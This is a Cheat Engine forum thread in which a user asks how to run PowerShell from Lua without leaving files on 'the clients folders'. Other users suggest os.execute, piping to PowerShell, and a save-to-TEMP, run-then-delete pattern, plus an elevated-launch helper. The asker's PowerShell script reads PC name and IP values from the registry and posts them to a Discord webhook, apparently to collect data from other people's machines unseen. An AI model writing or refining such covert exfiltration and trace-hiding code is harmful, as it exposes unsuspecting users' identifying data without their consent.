View previous topic :: View next topic |
Author |
Message |
Oxijen Expert Cheater Reputation: 0
Joined: 07 May 2020 Posts: 163 Location: On The Moon
|
Posted: Wed Mar 24, 2021 9:06 am Post subject: PowerShell |
|
|
is there anyway i can execute a powershell script in lua?
_________________
I can see you Hitler
Especially When I am On the Moon!!
You are Right now in cheat engine forum |
|
Back to top |
|
|
ByTransient Expert Cheater Reputation: 5
Joined: 05 Sep 2020 Posts: 240
|
|
Back to top |
|
|
Oxijen Expert Cheater Reputation: 0
Joined: 07 May 2020 Posts: 163 Location: On The Moon
|
Posted: Wed Mar 24, 2021 2:58 pm Post subject: |
|
|
unfortunately this executes only 1 lines of code, I am trying to execute a script but without saving it
_________________
I can see you Hitler
Especially When I am On the Moon!!
You are Right now in cheat engine forum |
|
Back to top |
|
|
Oxijen Expert Cheater Reputation: 0
Joined: 07 May 2020 Posts: 163 Location: On The Moon
|
Posted: Thu Mar 25, 2021 4:09 pm Post subject: |
|
|
Welp
_________________
I can see you Hitler
Especially When I am On the Moon!!
You are Right now in cheat engine forum |
|
Back to top |
|
|
ByTransient Expert Cheater Reputation: 5
Joined: 05 Sep 2020 Posts: 240
|
Posted: Fri Mar 26, 2021 7:00 am Post subject: |
|
|
Maybe you can do a search to activate the basic programs of Windows with "executeLocalEx".
Or, you can simulate "CMD" or "PowerSell" prompts with "os.execute".
Code: | os.execute([[...]]) |
My advice to you; If you can activate your code with any file extension (".bat", ".vbs", ".html"), download it to your TEMP folder and delete it after activation.
Here's some create and enable example as well.
https://forum.cheatengine.org/viewtopic.php?t=610493
Here are some examples of download, activate and delete.
Path;
Code: | local pth1=(os.getenv("TEMP"))
--If the file to be activated (CE) is in the table;
local file1="Sample.bat"
pthEnd=(pth1.."\\"..file1)
--Save to load file;
findTableFile(file1).saveToFile(pth1..'\\'..file1)
--Active file;
shellExecute(pthEnd)
--remove file;
os.remove(pth1..'\\'..file1) |
Last edited by ByTransient on Sun Mar 28, 2021 3:40 pm; edited 1 time in total |
|
Back to top |
|
|
Corroder Grandmaster Cheater Supreme Reputation: 75
Joined: 10 Apr 2015 Posts: 1667
|
Posted: Sat Mar 27, 2021 12:07 am Post subject: |
|
|
Example to run power script at the run time (tested on Windows 7 64bit Ultimate):
Code: | -- Your powershell script example:
local script = [[
Write-Host "Hello, World!"
]]
-- Create powershell process and feed your script to its stdin
local pipe = io.popen("powershell -command -", "w")
pipe:write(script)
pipe:close() |
_________________
Stealing Code From Stolen Code...
And Admit It.. Hmmm....Typically LOL |
|
Back to top |
|
|
Oxijen Expert Cheater Reputation: 0
Joined: 07 May 2020 Posts: 163 Location: On The Moon
|
Posted: Sun Mar 28, 2021 2:27 pm Post subject: |
|
|
Sorry for late response, I had exams...
anyways i tried this script but it didnt work
Code: |
local script = [[
$content = ""
$RegKey = (Get-ItemProperty 'HKCU:\SOFTWARE\Oxygen')
$RegKey.PSObject.Properties | ForEach-Object {
if($_.Name.StartsWith("PCNAME"))
{
$a = [string]::new([char[\]\]$_.Value)
$content = $content + "User : ``" + $a + "``"
}
if($_.Name.StartsWith("PCIP"))
{
$b = [string]::new([char[\]\]$_.Value)
$content = $content + "`r`nIP : ``" + $b + "`` `r`n"
}
}
$hookUrl = "https://discord.com/api/webhooks/????????????????????????/??????????????????????????????????????????"
$payload = [PSCustomObject]@{
content = $content
}
Invoke-RestMethod -Uri $hookUrl -Method Post -Body ($payload | ConvertTo-Json) -ContentType 'Application/Json'
]]
local pipe = io.popen("powershell -command -", "w")
pipe:write(script)
pipe:close()
|
in powershell it works just fine.
and I am trying not to save the file on the clients folders, I hope there is a solution
_________________
I can see you Hitler
Especially When I am On the Moon!!
You are Right now in cheat engine forum |
|
Back to top |
|
|
Corroder Grandmaster Cheater Supreme Reputation: 75
Joined: 10 Apr 2015 Posts: 1667
|
Posted: Sun Mar 28, 2021 11:48 pm Post subject: |
|
|
Or
Code: | function doStartProcess(programWithParams)
local psCmd = '"powershell.exe -Command "Start-Process cmd " -ArgumentList "/c", "\'' .. programWithParams .. '\'" -Verb RunAs -Wait"'
os.execute(psCmd)
end |
or save your power shell script as ps1 script somewhere and invoke them using os.execute()
Code: | os.execute("powershellscript.ps1") |
_________________
Stealing Code From Stolen Code...
And Admit It.. Hmmm....Typically LOL |
|
Back to top |
|
|
Oxijen Expert Cheater Reputation: 0
Joined: 07 May 2020 Posts: 163 Location: On The Moon
|
Posted: Tue Mar 30, 2021 4:07 am Post subject: |
|
|
Code: |
os.execute("powershellscript.ps1") |
this worked ty Corroder and ByTransient
_________________
I can see you Hitler
Especially When I am On the Moon!!
You are Right now in cheat engine forum |
|
Back to top |
|
|
|